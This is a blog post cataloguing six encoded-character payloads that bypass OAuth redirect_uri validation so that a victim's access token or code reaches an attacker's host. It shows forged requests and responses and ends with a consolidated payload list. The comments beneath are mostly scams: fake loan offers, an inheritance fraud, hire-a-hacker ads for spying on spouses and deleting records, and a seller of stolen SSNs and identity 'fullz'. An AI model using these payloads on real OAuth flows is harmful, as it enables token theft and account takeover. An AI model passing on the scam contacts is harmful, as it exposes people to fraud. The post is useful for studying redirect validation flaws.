Hello guys, I just wanted to blog some of my Oauth 2.0 redirection bypass, here you go

OAuth is an open standard for authorization, commonly used as a way for Internet users to log into third party websites using their Microsoft, Google, Facebook, Twitter, One Network etc. accounts without exposing their password.
By not validating the redirect_uri an OAuth provider can be used as an ideal phishing vector. The redirect_uri is an address used by OAuth providers as a location to deliver the access_token by means of a browser redirect. The popular OAuth provider Facebook has run into many vulnerabilitiesrelating to OAuth redirection.
In this attack, the attacker presents the victim with a URL to an authentication portal that the victim trusts (like Facebook), and by using this authentication portal the victim's secret access token is delivered to an HTTP server controlled by the attacker.
Authentication is about intention, tricking a user into allowing access to an unintended resource is a vulnerability.
These bugs only implies when subdomains are accepted in redirect url 
1) Payload %2F%2F
     
The %2F%2F  relates to  " // " (forward slashes).  The "two forward slashes" are a common shorthand for "whatever protocol is being used right now".
  

Example request:- 


http://example.com/socialize.login?client_id=123456&redirect_uri=http://victim.com/&x_provider=facebook&response_type=token

Forged request :- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://example.com%2f%2f.victim.com/&x_provider=facebook&response_type=token

Response :- 

http://example.com//.victim.com/?code=9999999999
  • Works both in Chrome and mozilla


2) Payload %5c%5c
      
The %5c%5c relates to " \\ " (backword slashes). The "Two backword slashes" are considered as "Two Forward slashes"  in Chrome.  Which will be same as first bug and most of the sites are vulnerable to this

Example request:- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://victim.com/&x_provider=facebook&response_type=token

Forged request :- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://example.com%5c%5c.victim.com/&x_provider=facebook&response_type=token

Response :- 

http://example.com//.victim.com/?code=9999999999  
  •  Works only in chrome 


3) Payload %3F

TThe %3F refers to "?" (Question mark). When question mark is appended the url becomes the parameters

Example request:- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://victim.com/&x_provider=facebook&response_type=token

Forged request :- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://example.com%3F.victim.com/&x_provider=facebook&response_type=token

Response :- 

http://example.com?.victim.com/?code=9999999999   
  • Works both in chrome and mozilla


4) Payload %23

The %23 relates to " # ". When this is used the  data after the # wont get validated on server side.

Example request:- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://victim.com/&x_provider=facebook&response_type=token

Forged request :- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://example.com%23.victim.com/&x_provider=facebook&response_type=token

Response :- 

http://example.com/#.victim.com/?code=9999999999 
These payloads are applied after the domain
5) Payload  %40 
      The %40 refers to @ , which is used for authentication purpose like ftp like username:password@ftp.example.com 

payload = http://victim.com:80%40google.com

Example request:- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://victim.com/&x_provider=facebook&response_type=token

Forged request :- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://victim.com:80%40google.com&x_provider=facebook&response_type=token 

Response :- 

http://google.com/?code=9999999999 


6) Paylaod %2e

The %2e referrers to "." (Dot). The dot can be used to make the domain as subdomain

Example request:- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://victim.com/&x_provider=facebook&response_type=token

Forged request :- 

http://example.com/socialize.login?client_id=123456&redirect_uri=http://victim.com%2eattacker.com&x_provider=facebook&response_type=token 

Response :- 

http://victim.com.attacker.com/?code=9999999999 


Finally listing all the payloads
  • http://example.com%2f%2f.victim.com
  • http://example.com%5c%5c.victim.com
  • http://example.com%3F.victim.com
  • http://example.com%23.victim.com
  • http://victim.com:80%40example.com
  • http://victim.com%2eexample.com

I found all these bypasses in a single website and many of them know the site but as per hackerone rules privates should not be disclosed and here you go Nullcon heros  :)


Regards
N B
Posted by
20

View comments

  7. Are this still working , when i paste on url bar it searches on google.

    ReplyDelete



  9. Are you a business man or woman? Are you in a financial mess or do You need funds to start your own business? Need to pay loans Their Debt or pay off your bills or start a nice business? Do you have a low credit score and you will find it hard to get Capital loan from local banks / other financial institutions? You need one Loan or funding for any reason such as:Email: inforamzanloan@gmail.com

    *Personal Loans
    *Commercial Loans
    *Investments Loans
    *Development Loans
    *Consolidation Loans
    *Student Loans
    *Car Loans
    *Mortgage Loans
    *Acquisition Loans
    *Construction loans

    We offer loan at low interest rate of 3% and with collateral and not Collateral, we offer personal loans, debt consolidation loans, venture capital Capital, business loan, education loan, mortgage or Loans for any reason".

    However, our method offers the possibility to specify the amount of the loan needed and also the duration you can afford it, gives you a real Chance get the funds you need!

    Contact us via E-mail: inforamzanloan@gmail.com

    ReplyDelete

  10. I never thought I will come in contact with a real and potential hacker until I knew   brillianthckers800 at Gmail and he delivered a professional job,he is intelligent and understanding to control jobs that comes his way
    Contact him and be happy

    ReplyDelete


  12. Scam contents I was so anxiuos to know what my husband was always doing late outside the house so i started contacting

    hackers and was scamed severly until i almost gave up then i contacted this one hacker and he delivered a good job showing

    evidences i needed from the apps on his phone like whatsapp,facebook,instagram and others and i went ahead to file my

    divorce papers with the evidences i got,He also went ahead to get me back some of my lost money i sent to those other fake

    hackers,every dollar i spent on these jobs was worth it.Contact him so he also help you. mail:

    wizardwilliammitnickquickrecovery@inbox.lv.net or text him on WhatsApp +1 (559) 851-5537 he is very trustworthy.

    ReplyDelete

  13. “Most hackers asks for payment before services that they do not still render at the end but I want to introduce you to a university master’s degree holder of Princeton in Finance as well as computer geek for any sort of hacking, it can be Social Media Accounts, Forex Trading Forecasts, Credit Reports/Credit Score Lifting ,School grade, Email, Credit card , contact him (WIZARDBRIXTON@GMAIL.COM) Phone hacking, Erasing criminal records, Bitcoin recovering , Instagram Hack , Facebook Hack , Lost funds recovering ,Tender hacker , get Access code of different type of phones etc., you name it. he shows proof of work and payment is made only after service well done to your satisfaction Contact him : WIZARDBRIXTON@GMAIL.COM , WhatsApp's : (+1- /807-23 ) 4-0428 ;)

    ReplyDelete

  14. I am a veteran with the world trade organization humanitarian delivery agency, an ancillary of the UN..
    Mrs. Bernice Clark 69 died of covid-19 related virus. Before her death she left manifold amounts with a security & finance firm in Europe for preservation. she disclosed that the trust-funds should not be left unclaimed. You are to stand as the stipendiary to  late Bernice Clark.
    Get back to us with your interestedness at (wldtrdeorgnztionhumangcy@gmail.com). and contact data for all other formalities which are certifiable.
    Hoping to have an opulence pact with you on communal trust.

    ReplyDelete

  15. Contact this guy for problems such as hacking emails, Facebook, Twitter, Instagram, note changes, deleting criminal records, credit and debit refill, reloading insurance documents, lost or lost file recovery, background check of people and organizations Monitor your spouse's activities regarding the phone and social media and contact him at albertgonzalezwizard (@) gmail com or whatsapp +31684181827 Telegramm:  +31687920980 he is very trustworthy.

    ReplyDelete

  16. ice fog hackers(no uppfront required)
    In need of any help?
    Its just really hard to get a genuine and trusted hacker but you are lucky if you get to contact via email ( icehackerzz@gmail.com) their services includes
    Hacking.
    Tracking.
    Spying.
    Cloning.
    Credit repair/clearing of criminal history
    Retrieving of deleted text, pictures and videos.
    Upgrading results.
    You should contact him if you need help.

    ReplyDelete


  17. Nothing kills fast than cheating partner giving a man your all will only kill you because men can never be trusted, I almost lost my life yesterday after seeing a lot on my husband cell phone with the help of schwartzsoftwarehackingprogram AT Gmail DOT com I decided to run a quick hack on my husband so I had to contact : schwartzsoftwarehackingprogram AT Gmail DOT com for help and anonymously we broke into my husband phone and I saw a lot of rubbish starting from his WhatsApp text, text messages, Messages, and many more I was so disappointed in this man after giving my all to him he ended up cheating on me with different women and still come to sleep with me am so blessed to work with you schwartzsoftwarehackingprogram AT Gmail DOT com message him on +1 704-313-9661

    ReplyDelete

  18. Do you need help to spy on someone or something? Are you worried about a cheating partner or spouse? Find out and catch a cheating partner with facts and evidence to back it up, do you need help recover lost or stolen passwords, track and monitor GPS location, etc.; for all your spy and hack related services; find ( wizardbrixton at Gmail dot com ) on the internet for help and solution to all your spy and hack needs, Social media hacks Find them on online using your desktop or PC via your browsers URL box. They are the best, services rendered is 100% guaranteed to contact them on ( wizardbrixton at Gmail dot com )

    ReplyDelete

  19. "https://cybergeniehackpro.xyz/"
    My way of showing CYBER GENIE exactly how thankful I am for everything they did for me at one of the worst times of my life is by uploading this rating. When I was having concerns about turning over $150,000 worth of Bitcoin theft, Cyber Genie Hack Pro was courteous. My concerns about the likelihood of finding or recovering my misplaced money were reinforced by the irrefutable evidence provided by Cyber Genie. After a few sessions with, Cyber Genie boss, I feel confident in the decisions I took. Despite the fact that it took an extended period, I ultimately got every penny I thought I had lost to Bitcoin investment theft. When I felt like my entire world had smashed down around me, their expertise and vast knowledge were very much appreciated. Cyber Genie crypto recovery team is informed about it, and I wholeheartedly recommend it.

    ReplyDelete

  20. TG_(AT)James307

    SKYPE_(AT)Darkiris


    USA New Information/PROS available
    Ssn leads with dl number for door dash uber eat ......
    Youthful age information of any state
    DL photographs front and back + Ssn(Any state)
    Identification Photos(USA)
    Ein number with all data
    High CS
    Email leads
    Telephone Num Leads
    INFO with dl+expiry
    pros/fullz for uber,doordash and TAX form
    Canada information with SIN
    Uk information with nin

    Great and network
    On the off chance that you have any trust issue before any arrangement you might get some to test
    Each lead are very much checked and accessible 24 hours
    Fully help out clients
    Any invalid data found will be supplanted
    Method(BTC,USDT,ETH,LTC and PAYPAL)
    Fullz accessible as indicated by request too i.e (format,specific state,specific postal district and specifc name and so on..)

    We should do a drawn out business with great benefit
    Ping for additional subtleties and arrangement

    ReplyDelete
Blog Archive
Blog Archive
About Me
About Me
Loading
Dynamic Views theme. Powered by Blogger. Report Abuse.